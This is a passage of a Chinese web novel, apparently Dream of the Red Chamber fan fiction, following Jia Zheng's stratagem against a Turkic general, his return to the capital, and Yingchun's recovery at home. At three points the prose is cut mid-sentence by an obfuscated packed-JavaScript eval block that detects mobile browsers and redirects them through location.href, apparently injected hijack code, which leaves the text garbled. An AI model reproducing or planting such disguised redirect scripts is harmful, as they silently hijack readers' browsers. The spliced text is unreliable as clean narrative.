贾政没有接话,又道“其中最关键的还是王妃所带领的人,必须让塔列信服,不能让他有所怀疑或是防备,不然恐怕要出岔子。” “你如何信我可以做得到呢?”王妃又问。 “您既然如此自信亲自带队,定是有大智慧,我也无需多问了。”贾政答道。 王妃笑了笑,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15157879|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随手扔了块木炭到火堆里,猛然窜高的火苗点燃了她的裙摆,她却不着急,竟然围着火堆跳起了舞。火光映在王妃的眼中,又融合在她狂傲的神情里。 根据情报所说,塔列将军暴躁易怒,偏听偏信,对付这样的人所使用的办法也很简单,说他喜欢听的话,让他心甘情愿钻到圈套里。而王妃显然很了解他。当时她还在可汗身边服侍时,塔列将军就不时对她露出痴迷的神情,这也是她敢于亲自上门的原因,她手里有塔列的把柄。 贾政在远处目送着王妃一行人进了营帐。在他的视角来看,人与牛羊都成了模糊的白点。 他们在原地静等,直到太阳西斜,看见营帐那里燃起篝火,这才让一个人带了信件去通报。 与他们提前预料的相同,塔列没有亲自来见他们,而是鬼鬼祟祟地让身边的一个将军将他们安置到了一座偏僻的营帐中。 “可与密探们通过信了?”贾政轻声问师长山。 “已经吩咐了下去,只等大人的指令。”师长山回道。贾政松了口气,便席地而坐。 “先吃点干粮,不然饿着肚子可没法干活。”贾政忽然笑道。其他人也都学着他那样,四散坐着,吃了一些自带的肉干饼子。 天刚擦黑,就有人来传唤贾政。贾政起身前眼神示意了一下师长山,便走了出去。 四处已燃起营火,贾政紧跟着前面的突厥人,心里默默盘算着接下来的事情。 “王爷让你们过来,又有什么事情要说呢?” 贾政看向说话的人,见他魁梧勇猛,一看就是征战沙场的猛将,只是胡须和鬓角已经泛白,应当也有四十多岁了。 “王爷说,先前那次的收获,将军可还满意?”贾政小心试探着。 塔列笑了笑,便道“那么多的军需用品,足够我用一阵子了。” 贾政又道“王爷说还有一件大好事,派我来和将军商议。” “请使者坐下说吧。”塔列露出喜悦,对贾政也更礼遇了。 贾政从塔列将军处离开,没有立刻回到帐篷,反而四处转了转。又很是好奇地问了小兵许多问题。那个突厥人看将军对贾政也很客气,更不敢有一点不耐烦,对他的问题,凡知道的,都回答了。 “你们今晚有篝火晚会吗?”贾政指了指中间一大片空地上烧得正旺的篝火,又问道。 突厥小兵犹豫了一下,才回答道“有贵客到来,这是要欢迎他们的。” “我们可以参加吗?”贾政兴致盎然地问道,就要往空地走去。 突厥小兵忙拦住他,解释道“我不敢私自放你过去,还是问过将军再说吧!” 贾政便笑了笑,“既然你这样为难,我就不去了,省的将军骂你。”说罢,便再没有乱走,安静回了营帐。 此时月亮已经升了起来,王妃同塔列将军一起坐在首席,二人笑看围着篝火跳舞的年轻男子姑娘们。席上的将士们都喝得七七八八,说起了醉话。 王妃看着身旁喝红了脸的塔列,笑道“将军难得好兴致,请再饮一杯!”说罢,拿过他的酒杯,倒了满满的一杯端到塔列将军面前。 “王妃亲自倒的酒,我才喝的,要是其他人,我才不会喝!”塔列握住了王妃端着酒杯的手,捏住她手腕,又笑道“你的肌肤还是这样又滑又白的···” 塔列已是满脸醉态,也不再掩盖眼神中明显的侵略意味。王妃拉起塔列的另一只手握住酒杯,又道“喝了这一杯,咱们两个自然可以去做些别的···”言语挑逗,又伸手摸了摸塔列的脸。 塔列将酒一饮而尽,拦腰抱起了王妃,又对众人说道“你们尽情享乐!我和美人先走一步!” 在众人哄笑声中,塔列抱着王妃回了营帐。 二人进了帐子,塔列就将王妃放到了床上,只是他喝了太多酒,却有些困了。 “将军,怎么这会儿睡着了呢?”王妃笑着摇摇他,又问道。 “美人别急,先让我眯一会儿···”话没说完,已然打起了鼾。王妃再三确认他已经睡晕过去,立刻从床上下来,又整理好衣服。 她缓步走到帐子外面,看到四处的守卫都瘫倒在了地上。又走到方才的宴席处,众人也是倒在地上,没有一个清醒的。她立刻向暗处的手下做了个手势。 很快,王妃听到“砰”的一声,她抬头,看到了极绚丽的烟花。 76.修桥补路无尸骸 王妃看到烟花升起,立刻就吩咐埋伏在四周的手下开始行动,又让人去给阿克塞王子送信。 只是她还来不及高兴,却听到了打斗的声音。她本以为不过是零散几个没有喝过酒的守卫,就没有放在心上。 只是打斗声越来越响,不一会儿,四处都是厮杀的声音。 她立刻意识到事情有变。 王妃连忙带人去找贾政一行人,谁料那个帐篷早就空无一人。而他们竟然迎面遇上了也来找贾政的塔列将军手下的人,仇敌相遇,立刻厮杀在一起。 安静的草原上空,一簇簇烟花升起来,沙粒落在打斗的将士们身上。他们无心抬头欣赏烟花,只看得到眼前的敌人,只有一个个将他们杀死,自己才能保全一条性命。 而此时的贾政,早在晚宴刚开始时,就溜了出去,此时正躲在远处暗中观察。 收到消息的阿克塞将军很快加入了战局,而他本以为应当是轻轻松松的收尾,却越打越艰难,似乎塔列手下所有的将士也都参与其中。倒在地上的只有拼杀致死的士兵,哪里有中了迷药倒地的人呢? 就在阿克塞率领手下五千将士进入营地时,外围塔列的手下早就将这里包围起来。这一仗,再无任何妥协的可能,总有一方要以惨败收场。 天边刚泛起亮光时,贾政看到了远处又赶来一大队人马,师长山说旗帜上写着汗可王子的名字。贾政终于放了心。 贾政带着自己手下的人离开了这里,背后尸横遍野,全是突厥人自相残杀的痕迹。 “往哪里走?” 前面突然横出十几匹马与二十多个突厥士兵,挡住了贾政等人的步伐。 贾政看了一眼衣袍沾满鲜血和泥污的王妃,又看到她身后马背上的伤员,忍不住暗自感叹王妃的坚韧,便道“王妃竟然能突出重围,我实在佩服!”此时师长山已带人挡在贾政前面。 “如果我是你,与其出一口恶气,不如尽快撤离,也可保存实力。况且,王子的伤势好像挺严重的,需要尽快医治!”贾政又劝道。 “如果我非要你的命呢?”王妃怒喊道。她心里暗恨贾政的反水,也责怪自己的轻信。 贾政却笑了笑,“我不过是计划中的一个棋子,没有我,还会有其他人来。南北两边的根本矛盾不解决,以后总少不了战争。” “死到临头,还来讲大道理吗?”王妃又道“我最讨厌你这副故作清醒的样子!” 贾政并不理会,他向王妃身后指了指“王妃,你看后面。”那里已有数百士兵正向这边行进。 王妃没有回头,她必须要让贾政也吃点苦头。只见她手中银光一闪,忽然射出一枚飞镖,贾政躲闪不及,被她射中了肩膀。 “总是让我出了一口恶气!下次再见到你,可不要再像个世外高人了,我平生最恨这种人!”王妃自觉恨意稍缓,便大笑一声,立刻翻身上马,率众离开了。 贾政强忍着疼痛,对师长山说了一句“先离开这里再说。” 此处不仅来了汗可王子的八千援兵,还有三千名封严派来的士兵,由呼延朗带领。汗可王子亲率士兵来此收尾,他见贾政受伤,立刻叫来军医为他医治。 只是那飞镖深深嵌了进去,形状又不规则。虽没有淬毒,但伤口痊愈起来实在很慢。 但贾政已经很是庆幸了,十几个人游走在突厥人的腹地,又做这样危险的行动,能保全性命,也全靠上天仁慈。 善后自有呼延朗操心。而根据双方的约定,汗可王子让呼延朗将所有战死的突厥士兵都算作了汉人的军功,并且允许他们带回部分死者的头颅,好回去按功领赏。还有一些牛羊作为缴获的战利品。同时,他还需要履行承诺,五十年内不再南下侵犯。 贾政随着军队回到了叶榆城。一路上再无需要担心的事情,贾政也不再逞强,安然地躺在马车上,只想快点养好伤病,不然回到京城,又要让家人担心了。 呼延朗带着将士们,享受着凯旋带来的荣誉和封严为他们准备的欢迎仪式。贾政这个无名英雄,自己坐了顶小轿子,回了城里的住处。 听着城中欢庆的喧闹声,贾政只想好好睡一觉。 次日一早,贾政便去了封严处与他汇报这次任务的过程。 “存周,这场仗打得这么漂亮,多亏了你!”封严笑道。 “听说你受伤了,如今可好些?”他又关怀道。 贾政轻轻摸了摸肩上的伤口,笑道“一点小伤,不妨事的。” “大人,我在塔列将军那里,还有意外发现。”贾政正色道。他说罢,拿处一个小布包裹,起身递给了封严。 “里面是忠顺王爷和塔列将军串通的信件。”贾政说道。 封严震惊之余,立刻打开包裹。粗粗看了一封信,便问道“上面的确有他们二人的印信,只是这样机密的东西,你怎么拿到的呢?” 贾政笑道“那日我暗中与塔列说明了情况。我说阿克塞将军让我配合他们暗害将军,并把计划都说给了他。塔列就说道忠顺王爷本来是与他联合的,阿克塞这样的行为实在太过无耻。” “我就趁机与他又订了一个计划,不过是将之前的略微调整,好让他以为我是诚心助他,没想到他很容易就上当了···” “你这样胆大吗?他就这样信你?”封严笑问道。 “最开始,我就让手下传了一封信给他,那信是我仿照忠顺王爷的笔迹写的。”贾政解释道。 “印鉴也是你仿的吗?”封严又问。 贾政笑着摇摇头,说道“只有那一封的印鉴是假的,大人手中的这些都是从他那里偷来的,都是真的。” “你既然能想到仿冒印鉴的做法,恐怕王爷也不会轻易承认这些信···”封严犹豫道。 “并不是要拿这些信与他对簿公堂,只要能有一点威慑作用就好。”贾政便道。 封严却叹口气,又道“那天晚上除了让塔列将军和阿克塞王子逃走了,他们的手下死了一半,一半被汗可王子降服了。 “这样的大捷,圣上定会重重嘉奖大人的!”贾政笑道。 “我只求可以功过相抵,圣上不要再追究我先前的大错就好了!”封严又叹道。 贾政却神色古怪,他问道“呼延将军没有向您汇报吗?” 封严忙问“什么事情?” “存周何必这样着急呢?我本来想着今天再说呢!”呼延朗笑嘻嘻走了进来,一改往日沉稳肃穆的面容。 “原来是你们两个在背后算计我呢!”封严拍了一下桌子,又道“有何隐情,赶快从实招来。” “存周本来要把塔列将军的粮库全烧了,却发现了之前咱们被偷去的物资。他便使了个障眼法,烧了一些帐篷与稻草。塔列的人只以为冒了烟就是烧了粮库,哪里来得及想这些呢!”呼延朗坐了下来,仍觉得好笑。 “虽有一部分被他们挥霍了,幸好还保存了五成,汗可王子也让呼延将军都带了回来。”贾政又解释道。 呼延朗喝了口茶,又点点头,说道“汗可王子的确是个讲信用的人,我们与他合作是件好事。” 封严已然喜不自禁,他起身走到贾政和呼延朗面前,拍了拍二人的肩膀,笑道“今晚一定要好好犒赏你们!” 贾政忽然一只手按住肩膀,喊道“好痛!” “存周,我不是有意的···”封严满面愧疚,难得出口道歉。 “既然如此,今晚就多罚大人两杯酒了!”贾政忽然笑道。 封严见他是装的,便无奈笑笑,又道“你再这样开玩笑,我就将你留的两封信立刻寄到京城,看你怎么办!” 贾政没有丝毫犹豫,立刻作揖求饶,又逗的封严和呼延朗大笑起来。 大军返程之日,已是深秋时节。贾政算上在路上的日子,离家也有小半年了。 又经过连营村时,贾政便问了封严“这村子里可还有突厥人在吗?” “汗可王子的手下早撤走了,里面想必什么都没有了。”封严解释道。 贾政看着长满杂草的田地,突然叹道“我想进去看一看。” “不要耽搁太久,天黑前一定要跟上队伍。”封严没有阻止,吩咐了五六个士兵,让他们跟着贾政。 本来一个宁静的村庄,因为处在边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15161039|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 境上,就要遭受这样的劫难,实在让人惋惜。 贾政在村子里随意走着,偶尔走进残破的茅屋中看一看,除了破旧的木门,坍塌的土墙,全无一点有用的物件。 又坐了一会儿,便到了村子中的一处平地,中间有一棵大青树,树叶红黄交错。四散着一些农具和几只干涸的水桶。 贾政坐到了井边,朝里面看了一眼。 “小心!”忽有一小孩子喊道。 贾政回头一看,是一个瘦弱的小男孩,不到十岁的样子。便笑道“你怎么在这里呢?” 小男孩轻声道“我就是这个村里的,叔叔又是谁呢?” “来这里做生意的。”贾政解释道。 “这里之前被突厥人霸占了,现在更没有人了,叔叔还是不要再往前走了。”小男孩也很好心地解释道。 “只有你一个人吗?”贾政又问。 “还有两个哥哥,两个姐姐,他们在田里呢!”小男孩也有了笑意, 贾政缓步走到他跟前,弯了腰靠近他,又问道“之前突厥人来这里,你们都躲起来了是吗?” “我们几个贪玩,去了很远的地方偷懒,回到家,就是那样了···”小男孩没再细说。 贾政伸手摸了摸他的头,又指了指大青树旁的土地神龛,问道“你每天都在那里上香吗?” 小男孩点点头,说道“哥哥姐姐们带我一起上香,上完香他们才去田里干活。” “你怎么不干活呢?”贾政笑问。 “我是来打水的!”小男孩晃了晃手中的葫芦,笑了笑。 “真是个好孩子!”贾政又道。 “你也带我上柱香好不好呢?”贾政问道。 “有什么不行的呢?”小男孩调皮一笑,便走到了神龛前,他从下面的格子里拿出三支香递给贾政。 贾政接过之后跪了下来,恭敬地拜了三下,才起身将香插到了香炉里面。 “带我去见见你的哥哥姐姐们好不好呢?”贾政又问道。 小男孩点点头,“我先打好水,咱们再去。”贾政便拿过他手中的两个葫芦,自己从井中打水灌了进去。 一大一小走了一刻钟,远远望去,荒芜的田地中果然有几个人拿着锄头开垦着。 小男孩向哥哥姐姐们招手喊道“我带了个做生意的叔叔来看你们!”,说罢,就要拉着贾政往前走去。 贾政却道“这些东西留给你们,可以买头牛,耕地省点力气。”说这,就将身上的散碎银两和配饰拿了出来放到一块帕子上。 “叔叔是个大好人。”小男孩笑了笑,却没有敢接过手帕。贾政看向远处正走过来的男女,不欲留在这里。 贾政又弯了腰,一手扶着小男孩的手臂,说道“好好的和哥哥姐姐们过日子,以后一切都会好起来的。”说罢,又摸摸他的头,将手帕包好,放到了小男孩的手上。 再没有说话,贾政转身匆匆离开了。 贾政习惯了与士兵们相处,习惯了和官员相处,但却一时没有想好如何面对那几个少男少女。他们经历苦难,却又擦干眼泪捡起祖辈的传统,努力地活着。这就是无数代这片土地上的生民的日子。 要如何解释自己和曾经伤害过他们的突厥人结成联盟了呢?又如何解释那些无妄之灾和血泪苦难呢? 在想不出答案,耻于面对那些纯真的眼睛时,贾政只能离开。而他刚才在土地神龛前三次叩拜,又有多少是在为自己忏悔,多少是在为死者惋惜? 答案飘散在了草原上无边无际的风中。 启程前,贾政拿出一封信寄到了京城忠顺王府。那是从塔列将军处偷来的信件中的一封。他并不认为几封信件就可以扳倒忠顺王爷,这样做不过是一种警示,或者说是隐秘的求和。 贾政不能陷入对自我的怀疑中,也不能让自己再去想连营村的孩子们,他还有自己的责任。他还要回到京城,去面对那些勾心斗角,或是向他们屈膝求和,或是想出一些可以战胜他们的办法。 而他始终无法战胜的,也不敢战胜的,不是权力,而是那些无辜的,手无寸铁的平民百姓。 77.难将心事和人说 八月初,京城又入了秋。如今还在国丧期间,有爵位的人家一年内不可以宴席音乐。因此今年贾母的寿辰并没有大操大办,只是在家里摆了几桌酒,简单为贾母过了个生日。 这两年内外事情都不顺遂,贾母其实也没有过生日的心思。况且贾政还在西北道,也不知能不能平安回来?迎春虽醒了过来,但仍是病恹恹的。孙子孙女们虽有心承欢膝下,但她却无法真的开怀。贾母有时也会揣摩,究竟是从什么时候开始的,竟变成现在这样了呢? 是王熙凤离开荣府的时候吗?还是史鼐死的时候?是贾政在战场生死不明时?还是迎春断腿昏迷不醒时? 贾母想不清楚。她只觉得这两年自己的精神越发不济,头发本是半白的,如今几乎全白了。 八月中旬,贾政从西北道传来了家信。跨越千里的好消息及时让荣府上下振作了起来,甚至迎春也久违地露出了笑颜。 王夫人收到信件时孩子们都在跟前,她立刻去了贾母处报喜,孩子们便留下来陪着迎春说笑。 大夫虽然接好了迎春断掉的腿骨,如今伤口也已经愈合了,但她这条腿始终没有知觉,更不能下地。 “二姐姐,老爷一个月后就能回京了,又到了赏秋叶的时节,到时让老爷带着咱们去京郊的庄子痛快玩一玩好不好呢?”探春坐在迎春旁边,给她喂了一块枣泥红薯糕。 “咱们一大家人热热闹闹的,多好呀!二姐姐一定要同去的!”惜春也难得说这样的话。 迎春轻轻笑了笑,点了点头,又道“这些日子也难为你们一直陪着我了。” 黛玉却道“二姐姐早日好起来,我们就再没有担心的了。” 迎春听了,却微微摇摇头。 “二姐姐看我们为你准备了什么!”宝玉忽然从外面走了进来,身后藏了个一人高的东西,用红缎子盖着。 宝玉不等迎春说话,就性急地掀开了红布,又得意道“是我们为二姐姐做的拐杖,可以扶着走路的!” 宝钗时刻留意着迎春的神情,见她低垂了眉眼,有些失落,就说道“事情既然发生了,你幸运地活了下来,又何必一直挂怀呢?总要为以后做打算的。你已经在床上躺了两个多月,也该试着下地走一走了。” 说罢,宝钗就拿过宝玉手中的拐杖走到迎春床前,柔声道“我们几个专门和大夫请教过的,他说这很适合受伤后来练习走路,不如试一试呢?” “就是呢!躺得久了骨头都懒了呢!”探春晃了晃迎春手臂,也一起劝她。 迎春抬起了头,又露出一个极灿烂的笑容,她说道“我听宝姐姐和三妹妹的。” “太好了!二姐姐,我帮你穿衣服!”探春笑道。 黛玉和探春两个为迎春穿好了外衣,又帮她简单拢起了头发。 探春又叮嘱道“二姐姐,你躺了许久,刚站起来可能会有些晕,你别害怕,由我和林姐姐扶着你呢!” “二姐姐先扶着我们两个走一走,等适应了再用拐杖吧。”黛玉也柔声说着。 二人看迎春神情自然也并无抗拒,便一左一右使了力气,将迎春扶了起来。 虽然迎春努力想要站起来,只是毫无知觉的右腿无法支撑起身体并保持平衡,她倒在了右侧的探春身上,眼眶中不由地蓄满了泪水。 “别灰心,咱们再试一次!”宝钗说着话也走到探春这侧,与她一同将迎春搀了起来。 迎春在姐妹们的搀扶下,努力挪动了几步,左腿先渐渐适应了,只是右半边身子只能靠在宝钗和探春身上。 “先让左腿适应一会儿,大夫说以后二姐姐应当习惯用左腿支撑。”探春低声道,她有点担心迎春再度灰心。 迎春咬紧牙关,没有说话。她又被搀扶着走了一会儿,才道“我有点累了···” 姐妹们忙将她扶着坐下。 “二姐姐,你的衣服湿了,让丫鬟给你换了吧,不然容易着凉。”黛玉轻声说道。迎春微微点了点头。 探春看了过去,迎春的后背已经湿了一大片,怪不得她说累了。探春在心里叹了口气,便吩咐丫鬟来给迎春换衣服。 迎春要换衣服,只有惜春在跟前陪着,其他人都出了屋子。 宝玉一出门便用力跺了一下脚,说道“二姐姐如今这样,我心里真的好难过!又恨自己帮不上忙!” 探春却道“能捡回一条命已经是万幸了,你又说这些话让二姐姐听到了,她岂不又要难过了吗?” “我们在二姐姐跟前都应该少说这种话,只当作没有那事发生一样。该说就说该笑就笑,都不要太异常。”黛玉也说道。 “难道什么都不能做吗?”宝玉仍不甘愿,又叹道。 “你要做什么呢?”宝钗忽然问道。 “为二姐姐出口恶气!”宝玉说道。 “向谁去讨?”宝钗又问。 宝玉犹豫一会儿才说道“和景家那些无赖!” 宝钗却笑了笑,又道“你凭什么去呢?如今两家的婚约已经解除了,你又以什么样的身份去讨公道?” “宝姐姐何必这样诘问我?我知道自己是个没本事的,只是不能眼睁睁看着二姐姐受欺负却坐视不理!”宝玉的愤怒发泄在了宝钗身上。“宝姐姐自然有本事,不如你去帮二姐姐讨公道?” “你为何又冲宝姐姐发火呢?”黛玉轻轻扯着宝玉的袖子,让他离宝钗远了一些。 “我笑的是你根本不知道是谁害了迎春,却要找人讨公道去。”宝钗缓缓道,“你只是在发泄怒火,却无法做一件实事。”宝钗声音虽轻,但语气很是严肃。 探春也有些惊讶,又道“宝姐姐不要与二哥哥争执,姐妹间何必为了这事伤了和气呢?”她也担心二人为此闹得不愉快。 宝钗却叹口气,轻声道“难道就让他永远这样凭着简单的好恶做事吗?他也该长大了···”宝钗说罢便自顾自离开了。 探春跟着宝钗去了,想安慰她几句,黛玉就留在宝玉身边,以防他闹脾气。 “你说宝姐姐刚才为何冲我说那些话呢?”宝玉仍有些生气,便说道。 黛玉想了想,却道“你真的听不懂吗?” 宝玉仍有些疑惑,说道“宝姐姐说我应该长大了?这是什么意思?咱们几个年纪相仿,为何他只说我呢?” 黛玉沉思片刻,也叹了口气。 “林妹妹你既然知道就告诉我吧,为何也不说呢?难道你也不愿意理我了吗?”宝玉有些急了,他忍不住晃了晃黛玉的手臂。 “宝姐姐问你知不知道究竟是谁害了二姐姐···”黛玉轻声道。 “不就是景家那些人传的胡话被晴雯告诉了二姐姐嘛”宝玉说道,又压低了声音道“还有大老爷和大太太执意与景家结亲···” 黛玉却摇摇头,说道“你只能想到这些人,所以宝姐姐才说你长不大。” 黛玉看着宝玉的眼睛,缓缓道“身为女子是无法根本掌握自己命运的,而害了二姐姐的人,就是让她无法掌握命运的人···” “这样你明白了吗?”黛玉说罢又问道。 宝玉轻轻摇了摇头。黛玉也摇摇头,又道“你身为男子自然是无法体会的,也不能全怪你。只是今日我也想劝你一句话,你听了不要不高兴。” 宝玉点头道“你我二人有什么不能说的呢?” 黛玉犹豫片刻,便道“一年大二年小的,你也该在那些正经事上下点功夫了。你们家这样大的家业,如今竟然只有舅舅一个人在外面苦苦支撑着。珠大哥虽然身体不好不能考学,但现在外面的事都是他在打理,也是尽了心的···”黛玉说到这里,停了下来看宝玉神情。 宝玉有些愣住了,他没有想到黛玉也会劝他这样的话,这种话好像只会从宝钗和湘云口中说出。而林妹妹?宝玉又看了一眼黛玉,忽然觉得她的眼神好陌生。 “宝玉,你想什么呢?”黛玉晃了晃他的肩膀,轻声问道。 宝玉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15167033|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回过神来,说道“林妹妹,你还有什么想对我说的呢?” “所以我想你也该尽一点自己的心才是···府里内外这样多的消耗,已经是出的多进的少了,幸好有舅妈和三妹妹尽量维持着,不然日后···”黛玉没有说得太直白,她已看出宝玉的微微不满,只好在心里叹气。 宝玉忽然说道“林妹妹,我发现你和从前很不一样了?” “哪里不一样了呢?”黛玉问道。 “你再也不会对我使性子了,相反,你对姐妹们都很包容,对下人们也很体谅。你和宝姐姐三妹妹一起打理家事,你与她们一样擅长这些俗事···”宝玉缓缓说着,似在回忆从前。 “人都要长大的,这样不好吗?”黛玉笑了笑。 “你和宝姐姐更亲密了,甚至你和她越来越像···你与她一起打理书坊的事,你新写好的故事总是最先拿给宝姐姐和三妹妹看···”宝玉叹了口气,没再说下去。 黛玉却安慰道“我以后也第一时间拿给你看好不好呢?” 宝玉却摇摇头说道“我的意思是,我们的距离变远了好多···” 黛玉没想到宝玉会有这么大的反应,只怕他又像从前那样想痴了,便道“是我一时失言,不该说这些话,你快回去歇着吧!要是真的病了就不好了!” 宝玉垂了头,没再说话,任由黛玉将他送回了屋子。 从宝玉处离开的黛玉,心里仿佛有千言万语却无人倾诉。思考片刻,她去了王夫人的屋子。 此时王夫人已从贾母处回来,正吩咐着丫鬟提前为贾政回来做准备。 “怎么就你一个人,她们还在你二姐姐那儿吗?”王夫人看到黛玉进了屋子,就笑着问她。 黛玉行了礼,又道“舅舅要回来了,老太太肯定很高兴的!” 王夫人笑道“上战场也确实太危险,如今老爷顺利回京,老太太自然高兴的不得了呢!”说话间,王夫人牵着黛玉的手将她带到炕桌旁坐下,又让丫鬟端茶果来。 “有心事吗?怎么皱着张脸?”王夫人看出黛玉眉宇间的忧愁,便轻声问道。 黛玉笑着摇摇头,说道“我没有事,只是想和舅妈待一会儿···” “是不是想家了,想你父亲了?”王夫人柔声道。 “前几日才见过父亲,哪有这么快就要想的。”黛玉却笑了。 “你心思细,容易因为客居而牵扯出许多愁思来,所以我才这样问呢。”王夫人说罢,便伸出手说道“来我这边坐···” 黛玉将头埋到了王夫人怀里,王夫人便抚摸着她的发梢,脊背,轻声道“秋日天气干燥,你的头发也有些毛毛糙糙的。明日让丫鬟服侍着你用一些膏子养一养才好呢!” “我那里的都用完了。”黛玉撒娇道。 “一会儿让丫鬟从我这里拿一些给你用。”王夫人笑道。 “舅妈,二姐姐以后怎么办呢?”黛玉突然低声问道。她心里其实有答案,只是不甘心,才故意要从王夫人处求证。 王夫人叹了口气,犹豫半晌才道“不好说,要看大老爷和大太太的意思···” “所以必须要让二姐姐嫁人吗?”黛玉又问。 “如果迎春的腿不能好起来,又找不到合适的人,也许就不用了吧···”王夫人低声劝道。 黛玉便拉着王夫人的手掌,看着她的脸庞,轻声道“舅妈,你和舅舅帮帮二姐姐好不好呢?不要让她···”后半句没有说完。 王夫人却忧愁道“我又何尝不担心这事呢?只是先前你舅舅也做了许多努力,如今谁能想到落了个这样的结果。只好等你舅舅回了京,再看他有没有什么办法了!” 黛玉和王夫人都沉默了一会儿。就在王夫人以为黛玉快睡着时,却听到她说“舅妈,我这样睡一会儿好不好?等我醒了舅妈再去忙···”虽说着话,但眼睛并没有睁开。 王夫人便一下下轻拍着黛玉的背,哄道“安心睡吧···” 78.一年好景君须记 行军一个多月,九月中旬,封严与贾政一行人回了京城。圣上对封严的表现自然是十足的满意,不仅挽回了大半的损失,而且解决了未来五十年西北道边关的问题,可谓是大功一件。 除了居首功的封严,贾政也被圣上好一番夸奖。当然不只停留在口头赞扬,实际的赏赐也很不少。又因为封严是工部尚书,贾政是他手下的郎中令,工部在这次战役中大大扬名。 兵部尚书虽有不满,但谁让他自己当初不愿意去呢?自然怪不到别人头上了。兵部侍郎呼延朗也立了功,这让他心里勉强平衡一些了。 虽不能摆宴,但真心想为贾政庆贺的林如海,自有办法让贾政和贾府的公子小姐们借此机会欢聚一次。 天气凉爽,菊花开得正盛,林如海便邀请贾母等女眷和男子们到他府上赏花。只是宁府的贾珍父子没有来,李纨怕尤氏在家里无聊,就叫着她一起去了。 林府在京城的宅子自然比不上荣府的规模,但胜在婉约有趣,其中大多数的花卉树木都是南方常见的种类,可见林如海是花了一番心思的。 这边孩子们与贾母王夫人等在花园中游玩。或是赏花观景,或是放风筝钓鱼,也有好静不好动的姑娘们坐在桌案前写字画画的。 此时林如海和贾政也信步走在花园中,他们专挑僻静的地方,为的是好商谈事情。贾政便将在西北道发生的事情详细告诉了林如海。 “你手中虽然有忠顺王爷勾结突厥人的证据,但恐怕王爷并不会因此有所收敛的。”林如海分析道。 贾政点点头,也道“他毕竟是圣上最信赖的王爷,只几封信件做证据我也觉得算不得什么。所以才只寄了一封给他,并且是让人到京城后再找人送到他府上,只是想暗示他一些事情···” 贾政说道这里,压低了声音,又道“他虽然是圣上的左膀右臂,但我猜测有部分事情恐怕圣上并不知道,我这样做也是在试探他。” “之前在扬州时你查出的水匪和鸦片的事情,我想这其中也是大有文章的。”林如海又说起这事。 “我们都知道这些事情背后都有他的干预,只是最困难的地方就在于圣上在其中知道多少,默许多少,又有多少是他不知道也不同意的呢?”贾政的声音很低,林如海要凑得很近才能听清。 “所以说圣心难测啊!”林如海也轻轻叹了口气。 “只是我想既然已经走到了这一步,终有一日要与他当面交锋的···”贾政又道。 二人都沉默了一会儿。 林如海突然压低了声音问道“你离家的这段时间,两府发生的事情你知道多少?” 贾政叹口气,轻声道“就知道回来也免不了这些事情,如海不妨直言。” “贾琏又娶了妻子,只是他自己也害怕在国丧期间被人知道,如今只敢在外面安置。忠顺王爷知道这事后派人敲了贾琏一万两。”林如海低声道。 贾政皱了眉头,说道“满脑子只顾得上自己的一点事情,全然不将亲妹妹的事放在心上!” “还有一事,我想先告诉存周你···”林如海又道。 “贾珍和贾琏私下里结交平安州的那位王爷···前些日子贾琏还去了一趟平安州与那人见面···”林如海低声道。 “泸定王?”贾政轻声问。林如海严肃地点点头。 泸定王是先皇的长子,因与当今圣上争权失败,而被贬到了平安州。虽还是王爷封号,却被人严加看管,没有半点自由。 “那位怎么能私下里见人的?”贾政有些奇怪。 “有些官员不满忠顺王爷一家独大,又实在厌恶他的作派,便起了投靠那位王爷的心思,也许是想借此让圣上打压忠顺王爷吧。”林如海解释道。 “一个失败的王爷还能东山再起吗?”贾政轻笑一声。 林如海压低了声音,补充道“有传言说先皇为他留下了一大笔钱财和势力,为的是若当今圣上昏庸,便让他取而代之···” “流言传的这样细致,便愈发不可信了。”贾政笑道。 “我也是这样想的,只是圣上却似乎很担忧。所以我们才多派了人手看管着泸定王,看他和谁私下见过面了。”林如海也笑道。 “圣上也知道了贾琏去见泸定王的事?”贾政问道。 林如海摇了摇头,“泸定王做事很隐秘,我能知道这事,还是因为自己派了人去调查贾琏才发现的。” 贾政思考一会儿却叹了口气,轻声道“你将这事报上去吧,只是不仅要提到贾琏,还有贾珍···” “若圣上有心要处理,他们二人都跑不了的。”林如海有些不解。 贾政忽然看着林如海,问道“如海以为荣宁二府还能存续多久?” “我想若放任子弟们这样做事,恐怕···”林如海没有说后半句。 “你虽是外人,却看得很真切。三四年前,我意识到这个问题后,满心要去改变,只是努力了这几年才发现,贾家的族人太多,子弟们已经无法管教,难保就有人要撞到枪口上的。所以我竟然再没有了大刀阔斧改革的心思了!”贾政叹道。 